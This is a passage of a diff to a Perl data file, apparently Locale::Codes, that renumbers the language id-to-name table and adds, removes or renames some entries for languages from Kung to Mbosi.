       q(Kung),
       ],
-   q(3294) => [
+   q(3292) => [
       q(Khunsari),
       ],
-   q(3295) => [
+   q(3293) => [
       q(Kuk),
       ],
-   q(3296) => [
+   q(3294) => [
       q(Koro (Cote d'Ivoire)),
       ],
-   q(3297) => [
+   q(3295) => [
       q(Korwa),
       ],
-   q(3298) => [
+   q(3296) => [
       q(Korku),
       ],
-   q(3299) => [
+   q(3297) => [
       q(Kachhi),
       q(Kutchi),
       ],
-   q(3300) => [
+   q(3298) => [
       q(Bilaspuri),
       ],
-   q(3301) => [
+   q(3299) => [
       q(Kanjari),
       ],
-   q(3302) => [
+   q(3300) => [
       q(Katkari),
       ],
-   q(3303) => [
+   q(3301) => [
       q(Kurmukar),
       ],
-   q(3304) => [
+   q(3302) => [
       q(Kharam Naga),
       ],
-   q(3305) => [
+   q(3303) => [
       q(Kullu Pahari),
       ],
-   q(3306) => [
+   q(3304) => [
       q(Kumaoni),
       ],
-   q(3307) => [
+   q(3305) => [
       q(Koromfe),
       ],
-   q(3308) => [
+   q(3306) => [
       q(Koyaga),
       ],
-   q(3309) => [
+   q(3307) => [
       q(Kawe),
       ],
-   q(3310) => [
+   q(3308) => [
+      q(Kataang),
+      ],
+   q(3309) => [
       q(Komering),
       ],
-   q(3311) => [
+   q(3310) => [
       q(Kube),
       ],
-   q(3312) => [
+   q(3311) => [
       q(Kusunda),
       ],
-   q(3313) => [
+   q(3312) => [
       q(Selangor Sign Language),
       ],
-   q(3314) => [
+   q(3313) => [
       q(Gamale Kham),
       ],
-   q(3315) => [
+   q(3314) => [
       q(Kaiwa),
       ],
-   q(3316) => [
+   q(3315) => [
       q(Kunggari),
       ],
-   q(3317) => [
+   q(3316) => [
       q(Karipuna),
       ],
-   q(3318) => [
+   q(3317) => [
       q(Karingani),
       ],
-   q(3319) => [
+   q(3318) => [
       q(Krongo),
       ],
-   q(3320) => [
+   q(3319) => [
       q(Kaingang),
       ],
-   q(3321) => [
+   q(3320) => [
       q(Kamoro),
       ],
-   q(3322) => [
+   q(3321) => [
       q(Abun),
       ],
-   q(3323) => [
+   q(3322) => [
       q(Kumbainggar),
       ],
-   q(3324) => [
+   q(3323) => [
       q(Somyev),
       ],
-   q(3325) => [
+   q(3324) => [
       q(Kobol),
       ],
-   q(3326) => [
+   q(3325) => [
       q(Karas),
       ],
-   q(3327) => [
+   q(3326) => [
       q(Karon Dori),
       ],
-   q(3328) => [
+   q(3327) => [
       q(Kamaru),
       ],
-   q(3329) => [
+   q(3328) => [
       q(Kyerung),
       ],
-   q(3330) => [
+   q(3329) => [
       q(Lu),
       ],
-   q(3331) => [
+   q(3330) => [
       q(Tukang Besi North),
       ],
-   q(3332) => [
+   q(3331) => [
       q(Badi Kanum),
       ],
-   q(3333) => [
+   q(3332) => [
       q(Korowai),
       ],
-   q(3334) => [
+   q(3333) => [
       q(Khuen),
       ],
-   q(3335) => [
+   q(3334) => [
       q(Khams Tibetan),
       ],
-   q(3336) => [
+   q(3335) => [
       q(Kehu),
       ],
-   q(3337) => [
+   q(3336) => [
       q(Kuturmi),
       ],
-   q(3338) => [
+   q(3337) => [
       q(Halh Mongolian),
       ],
-   q(3339) => [
+   q(3338) => [
       q(Lusi),
       ],
-   q(3340) => [
+   q(3339) => [
       q(Khandesi),
       ],
-   q(3341) => [
+   q(3340) => [
       q(Kapori),
       q(Kapauri),
       ],
-   q(3342) => [
+   q(3341) => [
       q(Koyra Chiini Songhay),
       ],
-   q(3343) => [
+   q(3342) => [
       q(Kharia),
       ],
-   q(3344) => [
+   q(3343) => [
       q(Kasua),
       ],
-   q(3345) => [
+   q(3344) => [
       q(Khamti),
       ],
-   q(3346) => [
+   q(3345) => [
       q(Nkhumbi),
       ],
-   q(3347) => [
+   q(3346) => [
       q(Khvarshi),
       ],
-   q(3348) => [
+   q(3347) => [
       q(Khowar),
       ],
-   q(3349) => [
+   q(3348) => [
       q(Kanu),
       ],
-   q(3350) => [
+   q(3349) => [
       q(Kele (Democratic Republic of Congo)),
       ],
-   q(3351) => [
+   q(3350) => [
       q(Keapara),
       ],
-   q(3352) => [
+   q(3351) => [
       q(Kim),
       ],
-   q(3353) => [
+   q(3352) => [
       q(Koalib),
       ],
-   q(3354) => [
+   q(3353) => [
       q(Kickapoo),
       ],
-   q(3355) => [
+   q(3354) => [
       q(Koshin),
       ],
-   q(3356) => [
+   q(3355) => [
       q(Kibet),
       ],
-   q(3357) => [
+   q(3356) => [
       q(Eastern Parbate Kham),
       ],
-   q(3358) => [
+   q(3357) => [
       q(Kimaama),
       q(Kimaghima),
       ],
-   q(3359) => [
+   q(3358) => [
       q(Kilmeri),
       ],
-   q(3360) => [
+   q(3359) => [
       q(Kitsai),
       ],
-   q(3361) => [
+   q(3360) => [
       q(Kilivila),
       ],
-   q(3362) => [
+   q(3361) => [
       q(Kariya),
       ],
-   q(3363) => [
+   q(3362) => [
       q(Karagas),
       ],
-   q(3364) => [
+   q(3363) => [
       q(Kiowa),
       ],
-   q(3365) => [
+   q(3364) => [
       q(Sheshi Kham),
       ],
-   q(3366) => [
+   q(3365) => [
       q(Kosadle),
       q(Kosare),
       ],
-   q(3367) => [
+   q(3366) => [
       q(Kis),
       ],
-   q(3368) => [
+   q(3367) => [
       q(Agob),
       ],
-   q(3369) => [
+   q(3368) => [
       q(Kirmanjki (individual language)),
       ],
-   q(3370) => [
+   q(3369) => [
       q(Kimbu),
       ],
-   q(3371) => [
+   q(3370) => [
       q(Northeast Kiwai),
       ],
-   q(3372) => [
+   q(3371) => [
       q(Khiamniungan Naga),
       ],
-   q(3373) => [
+   q(3372) => [
       q(Kirikiri),
       ],
-   q(3374) => [
+   q(3373) => [
       q(Kisi),
       ],
-   q(3375) => [
+   q(3374) => [
       q(Mlap),
       ],
-   q(3376) => [
+   q(3375) => [
       q(Q'anjob'al),
       q(Kanjobal),
       ],
-   q(3377) => [
+   q(3376) => [
       q(Coastal Konjo),
       ],
-   q(3378) => [
+   q(3377) => [
       q(Southern Kiwai),
       ],
-   q(3379) => [
+   q(3378) => [
       q(Kisar),
       ],
-   q(3380) => [
+   q(3379) => [
       q(Khalaj),
       ],
-   q(3381) => [
+   q(3380) => [
       q(Khmu),
       ],
-   q(3382) => [
+   q(3381) => [
       q(Khakas),
       ],
-   q(3383) => [
+   q(3382) => [
       q(Zabana),
       ],
-   q(3384) => [
+   q(3383) => [
       q(Khinalugh),
       ],
-   q(3385) => [
+   q(3384) => [
       q(Highland Konjo),
       ],
-   q(3386) => [
+   q(3385) => [
       q(Western Parbate Kham),
       ],
-   q(3387) => [
+   q(3386) => [
       q(Khang),
       ],
-   q(3388) => [
+   q(3387) => [
       q(Kunjen),
       ],
-   q(3389) => [
+   q(3388) => [
       q(Harijan Kinnauri),
       ],
-   q(3390) => [
+   q(3389) => [
       q(Pwo Eastern Karen),
       ],
-   q(3391) => [
+   q(3390) => [
       q(Western Keres),
       ],
-   q(3392) => [
+   q(3391) => [
       q(Kurudu),
       ],
-   q(3393) => [
+   q(3392) => [
       q(East Kewa),
       ],
-   q(3394) => [
+   q(3393) => [
       q(Phrae Pwo Karen),
       ],
-   q(3395) => [
+   q(3394) => [
       q(Kashaya),
       ],
-   q(3396) => [
+   q(3395) => [
       q(Kaikavian Literary Language),
       ],
-   q(3397) => [
+   q(3396) => [
       q(Ramopa),
       ],
-   q(3398) => [
+   q(3397) => [
       q(Erave),
       ],
-   q(3399) => [
+   q(3398) => [
       q(Bumthangkha),
       ],
-   q(3400) => [
+   q(3399) => [
       q(Kakanda),
       ],
-   q(3401) => [
+   q(3400) => [
       q(Kwerisa),
       ],
-   q(3402) => [
+   q(3401) => [
       q(Odoodee),
       ],
-   q(3403) => [
+   q(3402) => [
       q(Kinuku),
       ],
-   q(3404) => [
+   q(3403) => [
       q(Kakabe),
       ],
-   q(3405) => [
+   q(3404) => [
       q(Kalaktang Monpa),
       ],
-   q(3406) => [
+   q(3405) => [
       q(Mabaka Valley Kalinga),
       ],
-   q(3407) => [
+   q(3406) => [
       q(Khun),
       ],
-   q(3408) => [
+   q(3407) => [
       q(Kagulu),
       ],
-   q(3409) => [
+   q(3408) => [
       q(Kako),
       ],
-   q(3410) => [
+   q(3409) => [
       q(Kokota),
       ],
-   q(3411) => [
+   q(3410) => [
       q(Kosarek Yale),
       ],
-   q(3412) => [
+   q(3411) => [
       q(Kiong),
       ],
-   q(3413) => [
+   q(3412) => [
       q(Kon Keu),
       ],
-   q(3414) => [
+   q(3413) => [
       q(Karko),
       ],
-   q(3415) => [
+   q(3414) => [
       q(Gugubera),
       ],
-   q(3416) => [
+   q(3415) => [
       q(Kaiku),
       ],
-   q(3417) => [
+   q(3416) => [
       q(Kir-Balar),
       ],
-   q(3418) => [
+   q(3417) => [
       q(Giiwo),
       ],
-   q(3419) => [
+   q(3418) => [
       q(Koi),
       ],
-   q(3420) => [
+   q(3419) => [
       q(Tumi),
       ],
-   q(3421) => [
+   q(3420) => [
       q(Kangean),
       ],
-   q(3422) => [
+   q(3421) => [
       q(Teke-Kukuya),
       ],
-   q(3423) => [
+   q(3422) => [
       q(Kohin),
       ],
-   q(3424) => [
+   q(3423) => [
       q(Guguyimidjir),
       ],
-   q(3425) => [
+   q(3424) => [
       q(Kaska),
       ],
-   q(3426) => [
+   q(3425) => [
       q(Klamath-Modoc),
       ],
-   q(3427) => [
+   q(3426) => [
       q(Kiliwa),
       ],
-   q(3428) => [
+   q(3427) => [
       q(Kolbila),
       ],
-   q(3429) => [
+   q(3428) => [
       q(Gamilaraay),
       ],
-   q(3430) => [
+   q(3429) => [
       q(Kulung (Nepal)),
       ],
-   q(3431) => [
+   q(3430) => [
       q(Kendeje),
       ],
-   q(3432) => [
+   q(3431) => [
       q(Tagakaulo),
       ],
-   q(3433) => [
+   q(3432) => [
       q(Weliki),
       ],
-   q(3434) => [
+   q(3433) => [
       q(Kalumpang),
       ],
-   q(3435) => [
+   q(3434) => [
       q(Turkic Khalaj),
       ],
-   q(3436) => [
+   q(3435) => [
       q(Kono (Nigeria)),
       ],
-   q(3437) => [
+   q(3436) => [
       q(Kagan Kalagan),
       ],
-   q(3438) => [
+   q(3437) => [
       q(Migum),
       ],
-   q(3439) => [
+   q(3438) => [
       q(Kalenjin),
       ],
-   q(3440) => [
+   q(3439) => [
       q(Kapya),
       ],
-   q(3441) => [
+   q(3440) => [
       q(Kamasa),
       ],
-   q(3442) => [
+   q(3441) => [
       q(Rumu),
       ],
-   q(3443) => [
+   q(3442) => [
       q(Khaling),
       ],
-   q(3444) => [
+   q(3443) => [
       q(Kalasha),
       ],
-   q(3445) => [
+   q(3444) => [
       q(Nukna),
       ],
-   q(3446) => [
+   q(3445) => [
       q(Klao),
       ],
-   q(3447) => [
+   q(3446) => [
       q(Maskelynes),
       ],
-   q(3448) => [
-      q(Tado),
+   q(3447) => [
       q(Lindu),
       ],
-   q(3449) => [
+   q(3448) => [
       q(Koluwawa),
       ],
-   q(3450) => [
+   q(3449) => [
       q(Kalao),
       ],
-   q(3451) => [
+   q(3450) => [
       q(Kabola),
       ],
-   q(3452) => [
+   q(3451) => [
       q(Konni),
       ],
-   q(3453) => [
+   q(3452) => [
       q(Southern Dong),
       ],
-   q(3454) => [
+   q(3453) => [
       q(Majukayang Kalinga),
       ],
-   q(3455) => [
+   q(3454) => [
       q(Bakole),
       ],
-   q(3456) => [
+   q(3455) => [
       q(Kare (Papua New Guinea)),
       ],
-   q(3457) => [
+   q(3456) => [
       q(Kate),
       ],
-   q(3458) => [
+   q(3457) => [
       q(Kalam),
       ],
-   q(3459) => [
+   q(3458) => [
       q(Kami (Nigeria)),
       ],
-   q(3460) => [
+   q(3459) => [
       q(Kumarbhag Paharia),
       ],
-   q(3461) => [
+   q(3460) => [
       q(Limos Kalinga),
       ],
-   q(3462) => [
+   q(3461) => [
       q(Tanudan Kalinga),
       ],
-   q(3463) => [
+   q(3462) => [
       q(Kom (India)),
       ],
-   q(3464) => [
+   q(3463) => [
       q(Awtuw),
       ],
-   q(3465) => [
+   q(3464) => [
       q(Kwoma),
       ],
-   q(3466) => [
+   q(3465) => [
       q(Gimme),
       ],
-   q(3467) => [
+   q(3466) => [
       q(Kwama),
       ],
-   q(3468) => [
+   q(3467) => [
       q(Northern Kurdish),
       ],
-   q(3469) => [
+   q(3468) => [
       q(Kamasau),
       ],
-   q(3470) => [
+   q(3469) => [
       q(Kemtuik),
       ],
-   q(3471) => [
+   q(3470) => [
       q(Kanite),
       ],
-   q(3472) => [
+   q(3471) => [
       q(Karipuna Creole French),
       ],
-   q(3473) => [
+   q(3472) => [
       q(Komo (Democratic Republic of Congo)),
       ],
-   q(3474) => [
+   q(3473) => [
       q(Waboda),
       ],
-   q(3475) => [
+   q(3474) => [
       q(Koma),
       ],
-   q(3476) => [
+   q(3475) => [
       q(Khorasani Turkish),
       ],
-   q(3477) => [
+   q(3476) => [
       q(Dera (Nigeria)),
       ],
-   q(3478) => [
+   q(3477) => [
       q(Lubuagan Kalinga),
       ],
-   q(3479) => [
+   q(3478) => [
       q(Central Kanuri),
       ],
-   q(3480) => [
+   q(3479) => [
       q(Konda),
       ],
-   q(3481) => [
+   q(3480) => [
       q(Kankanaey),
       ],
-   q(3482) => [
+   q(3481) => [
       q(Mankanya),
       ],
-   q(3483) => [
+   q(3482) => [
       q(Koongo),
       ],
-   q(3484) => [
+   q(3483) => [
       q(Kanufi),
       ],
-   q(3485) => [
+   q(3484) => [
       q(Western Kanjobal),
       ],
-   q(3486) => [
+   q(3485) => [
       q(Kuranko),
       ],
-   q(3487) => [
+   q(3486) => [
       q(Keninjal),
       ],
-   q(3488) => [
+   q(3487) => [
       q(Kanamari),
       ],
-   q(3489) => [
+   q(3488) => [
       q(Konkani (individual language)),
       ],
-   q(3490) => [
+   q(3489) => [
       q(Kono (Sierra Leone)),
       ],
-   q(3491) => [
+   q(3490) => [
       q(Kwanja),
       ],
-   q(3492) => [
+   q(3491) => [
       q(Kintaq),
       ],
-   q(3493) => [
+   q(3492) => [
       q(Kaningra),
       ],
-   q(3494) => [
+   q(3493) => [
       q(Kensiu),
       ],
-   q(3495) => [
+   q(3494) => [
       q(Panoan Katukina),
       ],
-   q(3496) => [
+   q(3495) => [
       q(Kono (Guinea)),
       ],
-   q(3497) => [
+   q(3496) => [
       q(Tabo),
       ],
-   q(3498) => [
+   q(3497) => [
       q(Kung-Ekoka),
       ],
-   q(3499) => [
+   q(3498) => [
       q(Kendayan),
       q(Salako),
       ],
-   q(3500) => [
+   q(3499) => [
       q(Kanyok),
       ],
-   q(3501) => [
+   q(3500) => [
       q(Kalamse),
       ],
-   q(3502) => [
+   q(3501) => [
       q(Konomala),
       ],
-   q(3503) => [
+   q(3502) => [
       q(Kpati),
       ],
-   q(3504) => [
+   q(3503) => [
       q(Kodi),
       ],
-   q(3505) => [
+   q(3504) => [
       q(Kacipo-Balesi),
       ],
-   q(3506) => [
+   q(3505) => [
       q(Kubi),
       ],
-   q(3507) => [
+   q(3506) => [
       q(Cogui),
       q(Kogi),
       ],
-   q(3508) => [
+   q(3507) => [
       q(Koyo),
       ],
-   q(3509) => [
+   q(3508) => [
       q(Komi-Permyak),
       ],
-   q(3510) => [
+   q(3509) => [
       q(Kol (Papua New Guinea)),
       ],
-   q(3511) => [
+   q(3510) => [
       q(Konzo),
       ],
-   q(3512) => [
+   q(3511) => [
       q(Waube),
       ],
-   q(3513) => [
+   q(3512) => [
       q(Kota (Gabon)),
       ],
-   q(3514) => [
+   q(3513) => [
       q(Lagwan),
       ],
-   q(3515) => [
+   q(3514) => [
       q(Koke),
       ],
-   q(3516) => [
+   q(3515) => [
       q(Kudu-Camo),
       ],
-   q(3517) => [
+   q(3516) => [
       q(Kugama),
       ],
-   q(3518) => [
+   q(3517) => [
       q(Koyukon),
       ],
-   q(3519) => [
+   q(3518) => [
       q(Korak),
       ],
-   q(3520) => [
+   q(3519) => [
       q(Kutto),
       ],
-   q(3521) => [
+   q(3520) => [
       q(Mullu Kurumba),
       ],
-   q(3522) => [
+   q(3521) => [
       q(Curripaco),
       ],
-   q(3523) => [
+   q(3522) => [
       q(Koba),
       ],
-   q(3524) => [
+   q(3523) => [
       q(Komba),
       ],
-   q(3525) => [
+   q(3524) => [
       q(Kapingamarangi),
       ],
-   q(3526) => [
+   q(3525) => [
       q(Kplang),
       ],
-   q(3527) => [
+   q(3526) => [
       q(Kofei),
       ],
-   q(3528) => [
+   q(3527) => [
       q(Karaja),
       ],
-   q(3529) => [
+   q(3528) => [
       q(Kpan),
       ],
-   q(3530) => [
+   q(3529) => [
       q(Kpala),
       ],
-   q(3531) => [
+   q(3530) => [
       q(Koho),
       ],
-   q(3532) => [
+   q(3531) => [
       q(Kepkiriwat),
       ],
-   q(3533) => [
+   q(3532) => [
       q(Ikposo),
       ],
-   q(3534) => [
+   q(3533) => [
       q(Korupun-Sela),
       ],
-   q(3535) => [
+   q(3534) => [
       q(Korafe-Yegha),
       ],
-   q(3536) => [
+   q(3535) => [
       q(Tehit),
       ],
-   q(3537) => [
+   q(3536) => [
       q(Karata),
       ],
-   q(3538) => [
+   q(3537) => [
       q(Kafoa),
       ],
-   q(3539) => [
+   q(3538) => [
       q(Komi-Zyrian),
       ],
-   q(3540) => [
+   q(3539) => [
       q(Kobon),
       ],
-   q(3541) => [
+   q(3540) => [
       q(Mountain Koiali),
       ],
-   q(3542) => [
+   q(3541) => [
       q(Koryak),
       ],
-   q(3543) => [
+   q(3542) => [
       q(Kupsabiny),
       ],
-   q(3544) => [
+   q(3543) => [
       q(Mum),
       ],
-   q(3545) => [
+   q(3544) => [
       q(Kovai),
       ],
-   q(3546) => [
+   q(3545) => [
       q(Doromu-Koki),
       ],
-   q(3547) => [
+   q(3546) => [
       q(Koy Sanjaq Surat),
       ],
-   q(3548) => [
+   q(3547) => [
       q(Kalagan),
       ],
-   q(3549) => [
+   q(3548) => [
       q(Kakabai),
       ],
-   q(3550) => [
+   q(3549) => [
       q(Khe),
       ],
-   q(3551) => [
+   q(3550) => [
       q(Kisankasa),
       ],
-   q(3552) => [
+   q(3551) => [
       q(Koitabu),
       ],
-   q(3553) => [
+   q(3552) => [
       q(Koromira),
       ],
-   q(3554) => [
+   q(3553) => [
       q(Kotafon Gbe),
       ],
-   q(3555) => [
+   q(3554) => [
       q(Kyenele),
       ],
-   q(3556) => [
+   q(3555) => [
       q(Khisa),
       ],
-   q(3557) => [
+   q(3556) => [
       q(Kaonde),
       ],
-   q(3558) => [
+   q(3557) => [
       q(Eastern Krahn),
       ],
-   q(3559) => [
+   q(3558) => [
       q(Kimre),
       ],
-   q(3560) => [
+   q(3559) => [
       q(Krenak),
       ],
-   q(3561) => [
+   q(3560) => [
       q(Kimaragang),
       ],
-   q(3562) => [
+   q(3561) => [
       q(Northern Kissi),
       ],
-   q(3563) => [
+   q(3562) => [
       q(Klias River Kadazan),
       ],
-   q(3564) => [
+   q(3563) => [
       q(Seroa),
       ],
-   q(3565) => [
+   q(3564) => [
       q(Okolod),
       ],
-   q(3566) => [
+   q(3565) => [
       q(Kandas),
       ],
-   q(3567) => [
+   q(3566) => [
       q(Mser),
       ],
-   q(3568) => [
+   q(3567) => [
       q(Koorete),
       ],
-   q(3569) => [
+   q(3568) => [
       q(Korana),
       ],
-   q(3570) => [
+   q(3569) => [
       q(Kumhali),
       ],
-   q(3571) => [
+   q(3570) => [
       q(Karkin),
       ],
-   q(3572) => [
+   q(3571) => [
       q(Kairui-Midiki),
       ],
-   q(3573) => [
+   q(3572) => [
       q(Panara),
       ],
-   q(3574) => [
+   q(3573) => [
       q(Koro (Vanuatu)),
       ],
-   q(3575) => [
+   q(3574) => [
       q(Kurama),
       ],
-   q(3576) => [
+   q(3575) => [
       q(Krio),
       ],
-   q(3577) => [
+   q(3576) => [
       q(Kinaray-A),
       ],
-   q(3578) => [
+   q(3577) => [
       q(Kerek),
       ],
+   q(3578) => [
+      q(Krim),
+      ],
    q(3579) => [
       q(Sapo),
       ],
@@ -10997,7 +10992,7 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(Korop),
       ],
    q(3581) => [
-      q(Krung),
+      q(Kru'ng 2),
       ],
    q(3582) => [
       q(Gbaya (Sudan)),
@@ -11174,7 +11169,6 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
    q(3639) => [
       q(Ju/'hoan),
       q(Juhoan),
-      q(Ju|'hoansi),
       ],
    q(3640) => [
       q(Kutep),
@@ -11920,7 +11914,6 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(Lega-Mwenga),
       ],
    q(3885) => [
-      q(T'apo),
       q(Opuuo),
       ],
    q(3886) => [
@@ -12464,5398 +12457,5397 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(Latgalian),
       ],
    q(4063) => [
-      q(Thur),
-      ],
-   q(4064) => [
       q(Leti (Indonesia)),
       ],
-   q(4065) => [
+   q(4064) => [
       q(Latunde),
       ],
-   q(4066) => [
+   q(4065) => [
       q(Tsotso),
       q(Olutsotso),
       ],
-   q(4067) => [
+   q(4066) => [
       q(Tachoni),
       q(Lutachoni),
       ],
-   q(4068) => [
+   q(4067) => [
       q(Latu),
       ],
-   q(4069) => [
+   q(4068) => [
       q(Aringa),
       ],
-   q(4070) => [
+   q(4069) => [
       q(Ludian),
       ],
-   q(4071) => [
+   q(4070) => [
       q(Luvale),
       ],
-   q(4072) => [
+   q(4071) => [
       q(Laua),
       ],
-   q(4073) => [
+   q(4072) => [
       q(Luna),
       ],
-   q(4074) => [
+   q(4073) => [
       q(Lunanakha),
       ],
-   q(4075) => [
+   q(4074) => [
       q(Olu'bo),
       ],
-   q(4076) => [
+   q(4075) => [
       q(Luimbi),
       ],
-   q(4077) => [
+   q(4076) => [
       q(Lumbu),
       ],
-   q(4078) => [
+   q(4077) => [
       q(Lucumi),
       ],
-   q(4079) => [
+   q(4078) => [
       q(Laura),
       ],
-   q(4080) => [
+   q(4079) => [
       q(Lushootseed),
       ],
-   q(4081) => [
+   q(4080) => [
       q(Lumba-Yakkha),
       ],
-   q(4082) => [
+   q(4081) => [
       q(Luwati),
       ],
-   q(4083) => [
+   q(4082) => [
       q(Luo (Cameroon)),
       ],
-   q(4084) => [
+   q(4083) => [
       q(Luyia),
       q(Oluluyia),
       ],
-   q(4085) => [
+   q(4084) => [
       q(Southern Luri),
       ],
-   q(4086) => [
+   q(4085) => [
       q(Maku'a),
       ],
-   q(4087) => [
+   q(4086) => [
       q(Lavukaleve),
       ],
-   q(4088) => [
+   q(4087) => [
       q(Standard Latvian),
       ],
-   q(4089) => [
+   q(4088) => [
       q(Levuka),
       ],
-   q(4090) => [
+   q(4089) => [
       q(Lwalu),
       ],
-   q(4091) => [
+   q(4090) => [
       q(Lewo Eleng),
       ],
-   q(4092) => [
+   q(4091) => [
       q(Wanga),
       q(Oluwanga),
       ],
-   q(4093) => [
+   q(4092) => [
       q(White Lachi),
       ],
-   q(4094) => [
+   q(4093) => [
       q(Eastern Lawa),
       ],
-   q(4095) => [
+   q(4094) => [
       q(Laomian),
       ],
-   q(4096) => [
+   q(4095) => [
       q(Luwo),
       ],
-   q(4097) => [
+   q(4096) => [
       q(Lewotobi),
       ],
-   q(4098) => [
+   q(4097) => [
       q(Lawu),
       ],
-   q(4099) => [
+   q(4098) => [
       q(Lewo),
       ],
-   q(4100) => [
+   q(4099) => [
       q(Layakha),
       ],
-   q(4101) => [
+   q(4100) => [
       q(Lyngngam),
       ],
-   q(4102) => [
+   q(4101) => [
       q(Luyana),
       ],
-   q(4103) => [
+   q(4102) => [
       q(Literary Chinese),
       ],
-   q(4104) => [
+   q(4103) => [
       q(Litzlitz),
       ],
-   q(4105) => [
+   q(4104) => [
       q(Leinong Naga),
       ],
-   q(4106) => [
+   q(4105) => [
       q(Laz),
       ],
-   q(4107) => [
+   q(4106) => [
       q(San Jeronimo Tecoatl Mazatec),
       ],
-   q(4108) => [
+   q(4107) => [
       q(Yutanduchi Mixtec),
       ],
-   q(4109) => [
+   q(4108) => [
       q(Bo-Rukul),
       ],
-   q(4110) => [
+   q(4109) => [
       q(Mafa),
       ],
-   q(4111) => [
+   q(4110) => [
       q(Jalapa De Diaz Mazatec),
       ],
-   q(4112) => [
+   q(4111) => [
       q(Mam),
       ],
-   q(4113) => [
+   q(4112) => [
       q(Chiquihuitlan Mazatec),
       ],
-   q(4114) => [
+   q(4113) => [
       q(San Francisco Matlatzinca),
       ],
-   q(4115) => [
+   q(4114) => [
       q(Huautla Mazatec),
       ],
-   q(4116) => [
+   q(4115) => [
       q(Satere-Mawe),
       ],
-   q(4117) => [
+   q(4116) => [
       q(Mampruli),
       ],
-   q(4118) => [
+   q(4117) => [
       q(North Moluccan Malay),
       ],
-   q(4119) => [
+   q(4118) => [
       q(Central Mazahua),
       ],
-   q(4120) => [
+   q(4119) => [
       q(Higaonon),
       ],
-   q(4121) => [
+   q(4120) => [
       q(Western Bukidnon Manobo),
       ],
-   q(4122) => [
+   q(4121) => [
       q(Macushi),
       ],
-   q(4123) => [
+   q(4122) => [
       q(Dibabawon Manobo),
       ],
-   q(4124) => [
+   q(4123) => [
       q(Molale),
       ],
-   q(4125) => [
+   q(4124) => [
       q(Baba Malay),
       ],
-   q(4126) => [
+   q(4125) => [
       q(Mangseng),
       ],
-   q(4127) => [
+   q(4126) => [
       q(Ilianen Manobo),
       ],
-   q(4128) => [
+   q(4127) => [
       q(Nadeb),
       ],
-   q(4129) => [
+   q(4128) => [
       q(Malol),
       ],
-   q(4130) => [
+   q(4129) => [
       q(Maxakali),
       ],
-   q(4131) => [
+   q(4130) => [
       q(Ombamba),
       ],
-   q(4132) => [
+   q(4131) => [
       q(Macaguan),
       ],
-   q(4133) => [
+   q(4132) => [
       q(Mbo (Cameroon)),
       ],
-   q(4134) => [
+   q(4133) => [
       q(Malayo),
       ],
-   q(4135) => [
+   q(4134) => [
       q(Maisin),
       ],
-   q(4136) => [
+   q(4135) => [
       q(Nukak Maku),
       ],
-   q(4137) => [
+   q(4136) => [
       q(Sarangani Manobo),
       ],
-   q(4138) => [
+   q(4137) => [
       q(Matigsalug Manobo),
       ],
-   q(4139) => [
+   q(4138) => [
       q(Mbula-Bwazza),
       ],
-   q(4140) => [
+   q(4139) => [
       q(Mbulungish),
       ],
-   q(4141) => [
+   q(4140) => [
       q(Maring),
       ],
-   q(4142) => [
+   q(4141) => [
       q(Mari (East Sepik Province)),
       ],
-   q(4143) => [
+   q(4142) => [
       q(Memoni),
       ],
-   q(4144) => [
+   q(4143) => [
       q(Amoltepec Mixtec),
       ],
-   q(4145) => [
+   q(4144) => [
       q(Maca),
       ],
-   q(4146) => [
+   q(4145) => [
       q(Machiguenga),
       ],
-   q(4147) => [
+   q(4146) => [
       q(Bitur),
       ],
-   q(4148) => [
+   q(4147) => [
       q(Sharanahua),
       ],
-   q(4149) => [
+   q(4148) => [
       q(Itundujia Mixtec),
       ],
-   q(4150) => [
+   q(4149) => [
       q(Matses),
       ],
-   q(4151) => [
+   q(4150) => [
       q(Mapoyo),
       ],
-   q(4152) => [
+   q(4151) => [
       q(Maquiritari),
       ],
-   q(4153) => [
+   q(4152) => [
       q(Mese),
       ],
-   q(4154) => [
+   q(4153) => [
       q(Mvanip),
       ],
-   q(4155) => [
+   q(4154) => [
       q(Mbunda),
       ],
-   q(4156) => [
+   q(4155) => [
       q(Macaguaje),
       ],
-   q(4157) => [
+   q(4156) => [
       q(Malaccan Creole Portuguese),
       ],
-   q(4158) => [
+   q(4157) => [
       q(Masana),
       ],
-   q(4159) => [
+   q(4158) => [
       q(Coatlan Mixe),
       ],
-   q(4160) => [
+   q(4159) => [
       q(Makaa),
       ],
-   q(4161) => [
+   q(4160) => [
       q(Ese),
       ],
-   q(4162) => [
+   q(4161) => [
       q(Menya),
       ],
-   q(4163) => [
+   q(4162) => [
       q(Mambai),
       ],
-   q(4164) => [
+   q(4163) => [
       q(Mengisa),
       ],
-   q(4165) => [
+   q(4164) => [
       q(Cameroon Mambila),
       ],
-   q(4166) => [
+   q(4165) => [
       q(Minanibai),
       ],
-   q(4167) => [
+   q(4166) => [
       q(Mawa (Chad)),
       ],
-   q(4168) => [
+   q(4167) => [
       q(Mpiemo),
       ],
-   q(4169) => [
+   q(4168) => [
       q(South Watut),
       ],
-   q(4170) => [
+   q(4169) => [
       q(Mawan),
       ],
-   q(4171) => [
+   q(4170) => [
       q(Mada (Nigeria)),
       ],
-   q(4172) => [
+   q(4171) => [
       q(Morigi),
       ],
-   q(4173) => [
+   q(4172) => [
       q(Male (Papua New Guinea)),
       ],
-   q(4174) => [
+   q(4173) => [
       q(Mbum),
       ],
-   q(4175) => [
+   q(4174) => [
       q(Maba (Chad)),
       ],
-   q(4176) => [
+   q(4175) => [
       q(Massalat),
       ],
-   q(4177) => [
+   q(4176) => [
       q(Maguindanaon),
       ],
-   q(4178) => [
+   q(4177) => [
       q(Mamvu),
       ],
-   q(4179) => [
+   q(4178) => [
       q(Mangbetu),
       ],
-   q(4180) => [
+   q(4179) => [
       q(Mangbutu),
       ],
-   q(4181) => [
+   q(4180) => [
       q(Maltese Sign Language),
       ],
-   q(4182) => [
+   q(4181) => [
       q(Mayogo),
       ],
-   q(4183) => [
+   q(4182) => [
       q(Mbati),
       ],
-   q(4184) => [
+   q(4183) => [
       q(Mbala),
       ],
-   q(4185) => [
+   q(4184) => [
       q(Mbole),
       ],
-   q(4186) => [
+   q(4185) => [
       q(Maria (Papua New Guinea)),
       ],
-   q(4187) => [
+   q(4186) => [
       q(Mbere),
       ],
-   q(4188) => [
+   q(4187) => [
       q(Mboko),
       ],
-   q(4189) => [
+   q(4188) => [
       q(Santa Lucia Monteverde Mixtec),
       ],
-   q(4190) => [
+   q(4189) => [
       q(Mbosi),
